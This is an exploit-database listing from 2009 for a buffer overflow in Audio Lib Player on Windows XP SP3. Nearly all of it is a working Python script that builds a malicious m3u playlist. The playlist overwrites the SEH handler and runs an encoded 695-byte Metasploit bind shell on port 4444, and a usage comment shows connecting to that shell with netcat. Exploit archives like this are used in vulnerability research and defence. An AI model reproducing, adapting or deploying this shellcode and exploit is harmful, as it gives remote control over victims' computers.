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Audio Lib Player Buffer Overflow

🗓️ 10 Sep 2009 00:00:00Reported by BlakeType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 29 Views

Audio Lib Player Buffer Overflow exploit to gain shell access on Windows XP SP3. Shell code with bind shell of 695 bytes is used to overwrite SEH at 1224

Code
`# Audio Lib Player m3u SEH overwrite  
# product: http://www.toocharger.com/telecharger/logiciels/audio-lib-player/19056.htm  
# Usage: Create playlist, load exploit.m3u and connect to shell on port 4444  
#  
# $ nc 192.168.1.131 4444  
# Microsoft Windows XP [Version 5.1.2600]  
# (C) Copyright 1985-2001 Microsoft Corp.  
#  
# C:\Documents and Settings\blake\Desktop\ALP>  
  
import sys  
  
print "\n[*] Audio Lib Player m3u SEH Overwrite"  
print "[*] Written by Blake"  
print "[*] Tested on Windows XP SP3\n"  
  
  
# windows/shell_bind_tcp - 695 bytes  
# http://www.metasploit.com  
# Encoder: x86/alpha_mixed  
# EXITFUNC=seh, LPORT=4444, RHOST=  
  
shellcode = (  
"\xdd\xc1\xd9\x74\x24\xf4\x5f\x57\x59\x49\x49\x49\x49\x49\x49"  
"\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41"  
"\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42"  
"\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x4b"  
"\x4c\x42\x4a\x4a\x4b\x50\x4d\x4a\x48\x4b\x49\x4b\x4f\x4b\x4f"  
"\x4b\x4f\x45\x30\x4c\x4b\x42\x4c\x51\x34\x47\x54\x4c\x4b\x47"  
"\x35\x47\x4c\x4c\x4b\x43\x4c\x45\x55\x43\x48\x45\x51\x4a\x4f"  
"\x4c\x4b\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x47\x50\x45\x51\x4a"  
"\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x45\x51\x4a\x4e\x46\x51"  
"\x49\x50\x4a\x39\x4e\x4c\x4c\x44\x49\x50\x44\x34\x45\x57\x49"  
"\x51\x49\x5a\x44\x4d\x45\x51\x48\x42\x4a\x4b\x4b\x44\x47\x4b"  
"\x46\x34\x47\x54\x47\x58\x43\x45\x4d\x35\x4c\x4b\x51\x4f\x46"  
"\x44\x43\x31\x4a\x4b\x43\x56\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b"  
"\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x44\x43\x46\x4c\x4c\x4b\x4b"  
"\x39\x42\x4c\x51\x34\x45\x4c\x43\x51\x49\x53\x50\x31\x49\x4b"  
"\x45\x34\x4c\x4b\x51\x53\x46\x50\x4c\x4b\x51\x50\x44\x4c\x4c"  
"\x4b\x42\x50\x45\x4c\x4e\x4d\x4c\x4b\x51\x50\x43\x38\x51\x4e"  
"\x45\x38\x4c\x4e\x50\x4e\x44\x4e\x4a\x4c\x46\x30\x4b\x4f\x48"  
"\x56\x42\x46\x50\x53\x43\x56\x43\x58\x50\x33\x50\x32\x43\x58"  
"\x43\x47\x43\x43\x47\x42\x51\x4f\x51\x44\x4b\x4f\x48\x50\x45"  
"\x38\x48\x4b\x4a\x4d\x4b\x4c\x47\x4b\x46\x30\x4b\x4f\x4e\x36"  
"\x51\x4f\x4b\x39\x4d\x35\x45\x36\x4d\x51\x4a\x4d\x43\x38\x44"  
"\x42\x50\x55\x43\x5a\x44\x42\x4b\x4f\x4e\x30\x43\x58\x49\x49"  
"\x43\x39\x4c\x35\x4e\x4d\x50\x57\x4b\x4f\x48\x56\x51\x43\x46"  
"\x33\x46\x33\x46\x33\x50\x53\x50\x43\x51\x43\x51\x53\x50\x53"  
"\x4b\x4f\x48\x50\x42\x46\x42\x48\x42\x31\x51\x4c\x43\x56\x46"  
"\x33\x4c\x49\x4b\x51\x4d\x45\x45\x38\x4e\x44\x44\x5a\x42\x50"  
"\x48\x47\x51\x47\x4b\x4f\x49\x46\x43\x5a\x44\x50\x46\x31\x46"  
"\x35\x4b\x4f\x4e\x30\x42\x48\x4e\x44\x4e\x4d\x46\x4e\x4d\x39"  
"\x50\x57\x4b\x4f\x49\x46\x51\x43\x51\x45\x4b\x4f\x4e\x30\x45"  
"\x38\x4b\x55\x51\x59\x4b\x36\x51\x59\x50\x57\x4b\x4f\x49\x46"  
"\x46\x30\x46\x34\x50\x54\x51\x45\x4b\x4f\x48\x50\x4d\x43\x45"  
"\x38\x4a\x47\x43\x49\x48\x46\x44\x39\x50\x57\x4b\x4f\x48\x56"  
"\x50\x55\x4b\x4f\x48\x50\x43\x56\x42\x4a\x45\x34\x43\x56\x43"  
"\x58\x43\x53\x42\x4d\x4c\x49\x4a\x45\x43\x5a\x50\x50\x46\x39"  
"\x46\x49\x48\x4c\x4b\x39\x4d\x37\x43\x5a\x50\x44\x4c\x49\x4b"  
"\x52\x46\x51\x49\x50\x4b\x43\x4e\x4a\x4b\x4e\x47\x32\x46\x4d"  
"\x4b\x4e\x51\x52\x46\x4c\x4a\x33\x4c\x4d\x43\x4a\x50\x38\x4e"  
"\x4b\x4e\x4b\x4e\x4b\x43\x58\x44\x32\x4b\x4e\x4e\x53\x45\x46"  
"\x4b\x4f\x43\x45\x47\x34\x4b\x4f\x4e\x36\x51\x4b\x46\x37\x51"  
"\x42\x50\x51\x50\x51\x50\x51\x43\x5a\x43\x31\x50\x51\x46\x31"  
"\x51\x45\x50\x51\x4b\x4f\x48\x50\x45\x38\x4e\x4d\x48\x59\x43"  
"\x35\x48\x4e\x46\x33\x4b\x4f\x4e\x36\x42\x4a\x4b\x4f\x4b\x4f"  
"\x46\x57\x4b\x4f\x48\x50\x4c\x4b\x46\x37\x4b\x4c\x4b\x33\x49"  
"\x54\x45\x34\x4b\x4f\x48\x56\x46\x32\x4b\x4f\x4e\x30\x45\x38"  
"\x4c\x30\x4d\x5a\x44\x44\x51\x4f\x50\x53\x4b\x4f\x49\x46\x4b"  
"\x4f\x48\x50\x41\x41")  
  
payload = "\x41" * 420 # seh overwritten at 1224  
nops = "\x90" * 100 # Nop Sled  
sc = shellcode # bind shell 695 bytes  
near_jmp = "\xe9\x10\xfd\xff\xff" # near jump back -752 bytes  
seh = "\x6a\x19\x9a\x0f" # 0x0f9a196a pop ebp; pop ebx; ret from [C:\WINDOWS\system32\VBAJET32.dll]  
next_seh = "\xeb\xf9\xff\xff" # short jump back -7   
junk = "\x43" * 572 # junk buffer  
  
  
print "[+] Creating malicious playlist"  
try:  
file = open("exploit.m3u",'w')  
file.write(payload + nops + sc + near_jmp + next_seh + seh + junk)  
file.close()  
print "[+] File created successfully"  
except:  
print "[x] Could not create file"  
sys.exit(0)   
  
  
`

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10 Sep 2009 00:00Current
0.9Low risk
Vulners AI Score0.9
29